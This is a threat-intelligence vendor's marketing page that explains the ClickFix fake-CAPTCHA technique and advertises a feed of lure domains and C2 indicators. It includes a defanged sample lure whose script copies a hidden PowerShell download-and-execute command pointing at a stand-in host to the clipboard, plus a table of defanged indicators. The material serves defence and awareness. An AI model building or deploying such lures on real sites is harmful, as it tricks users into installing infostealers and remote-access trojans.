Threat intelligence feed
What is ClickFix? Anatomy of the attack, tracked in real time
ClickFix is a fast-growing social-engineering technique that tricks users into running malicious commands themselves. PrecisionSec's ClickFix feed tracks active lure domains, distribution URLs and C2 infrastructure in real time.
Free forever · no credit card · sign up in 2 minutes
Drops straight into the tools your SOC already runs
What is ClickFix?
ClickFix is a social-engineering technique that emerged in 2024 and has quickly become one of the most common methods of initial access. Rather than relying on a malicious attachment or a software exploit, ClickFix convinces the victim to compromise their own machine.
A user lands on a compromised website, a malicious ad or a phishing page and is shown a fake prompt, most often a bogus "Verify you are human" CAPTCHA or a "fix this error to continue" message. The page silently copies a command to the clipboard and instructs the user to open the Windows Run dialog (Win+R), paste (Ctrl+V) and press Enter. That single action executes a PowerShell, mshta or curl command that downloads and runs malware.
Verify you are human
Complete the steps below to confirm you are not a robot.
- Press Win + R
- Press Ctrl + V
- Press Enter
What really happens
The page silently copies a PowerShell/mshta command to the clipboard. Following the steps launches it through the Windows Run dialog. The command then retrieves and runs malware through a trusted Windows utility.
The victim executes the malware themselves, bypassing many email and download defenses.
Why ClickFix slips past traditional defenses
Because the victim runs the command themselves, ClickFix sidesteps many traditional defenses: there is no malicious attachment for email security to detonate, no macro to block and no file download for the browser to flag.
- 1
Delivery
Malvertising, compromised sites & phishing lures
- 2
Fake Prompt
Bogus CAPTCHA or "fix this error" overlay
- 3
User Action
Win+R → paste → Enter; victim runs the command
- 4
Execution
PowerShell / mshta / curl pulls the payload
- 5
Payload
Infostealer or RAT (Lumma, AsyncRAT...)
PrecisionSec tracks ClickFix lure domains, distribution URLs and C2 across this chain.
Why track it with PrecisionSec
Catch campaigns as they go live
We actively track ongoing ClickFix campaigns, including lure pages, distribution infrastructure and the second-stage payloads they deliver (infostealers such as Lumma and remote access trojans such as AsyncRAT), continuously monitored, verified and added to the feed.
High-confidence, curated indicators
Every indicator is internally verified using custom YARA rules, so you action curated intelligence instead of chasing false positives.
Built for your stack
ClickFix lure domains, distribution URLs and C2 IOCs are delivered in the formats your existing security tools already speak.
The full ClickFix feed — every lure domain, distribution URL and C2 indicator — is free, forever, delivered as an HTTPS-protected CSV feed. Sign up for free access. Ready for broader malware and C2 intelligence across STIX/TAXII, MISP or REST API delivery? Start a 15-day trial.
How we find them
Common signals in a ClickFix web lure
Crawling and web telemetry surface candidate pages continuously. What decides whether one reaches your feed is the evidence across the page and our other collection signals. This example shows three common signals from one ClickFix web-lure path.
captured-lure.html — defanged
<div class="captcha-box">
<p>Verify you are human</p>
<p>Press Win + R, then Ctrl + V, then Enter</p>
</div>
<script>
const cmd = "powershell -w hidden -c IEX(New-Object
Net.WebClient).DownloadString('hxxp://lure-cdn[.]example/x')";
document.querySelector(".captcha-box").addEventListener("click", () => navigator.clipboard.writeText(cmd););
</script>A clipboard write
A common implementation writes the command into the clipboard before asking the user to paste it — a writeText or execCommand('copy') call wired to a click, on a page with no legitimate reason to copy anything.
Execution instructions
A fake verification prompt and instructions to open the Windows Run dialog, Windows Terminal or PowerShell, then paste and run a command. A legitimate CAPTCHA should not require that sequence.
A staged command
The command itself may use hidden-window PowerShell, mshta, curl or another utility, plus the host it reaches for. That host can become an indicator too.
When a candidate meets our detection criteria, we extract the lure domain, distribution URL and any host the command reaches for, then add the verified indicators to the feed, which refreshes as fast as every minute.
Recent ClickFix IOCs
Live ClickFix indicators, including lure domains, distribution URLs and C2 infrastructure, pulled straight from our threat feed and refreshed as fast as every minute. For full coverage, get the full ClickFix feed free.
A sample from our threat feed. Public preview indicators are shown defanged; for live data, including lure domains, distribution URLs and C2 infrastructure, refreshed as fast as every minute, get the full ClickFix feed free.
| First seen | Indicator | Type | Confidence |
|---|---|---|---|
| 3m | secure-update-cdn[.]net | ClickFix domain | High |
| 9m | 91.213.50[.]114 | ClickFix IP | High |
| 15m | api-telemetry-sync[.]com/load | ClickFix URL | High |
| 22m | b7e2f48c…3d90af | ClickFix SHA256 | Medium |
| 38m | node-relay-7f1c[.]org | ClickFix domain | High |
Frequently asked questions
ClickFix explained
What is ClickFix?
ClickFix is a social-engineering technique, not a piece of malware. It tricks a user into running a malicious command themselves — usually through a fake "Verify you are human" CAPTCHA or a bogus "fix this error" prompt — instead of relying on an attachment or an exploit.
What does the fake CAPTCHA or error prompt actually do?
It silently copies a command to the clipboard, then instructs the user to press Win+R, paste with Ctrl+V, and press Enter. That single action runs a PowerShell, mshta or curl command in the Windows Run dialog — no download prompt, no macro, no file for the browser or email security to flag.
What malware does ClickFix typically deliver?
The command retrieved after execution is usually a second-stage payload: infostealers or remote access trojans, depending on the campaign. See PrecisionSec's infostealer intelligence for related tracking, or browse the full threat intelligence feeds directory.
Why does ClickFix evade traditional email and endpoint defenses?
Because the victim executes the command themselves, there is no malicious attachment to detonate, no macro to block, and no file download to scan. The compromise happens through a legitimate system tool (PowerShell, mshta or curl) rather than a dropped binary.
How does PrecisionSec verify a ClickFix lure before it reaches the feed?
Crawling and web telemetry surface candidate pages continuously. Each one is checked against custom YARA rules for the signals that distinguish a real ClickFix lure — a clipboard write with no legitimate reason to copy anything, fake verification instructions directing the user to the Run dialog or PowerShell, and a staged command reaching out to an external host — before the lure domain, distribution URL and any C2 host are added.
Want the full picture?
The ClickFix feed is free forever as CSV. Start a 15-day trial for every other malware, C2 and ransomware feed, plus STIX/TAXII, MISP and API delivery.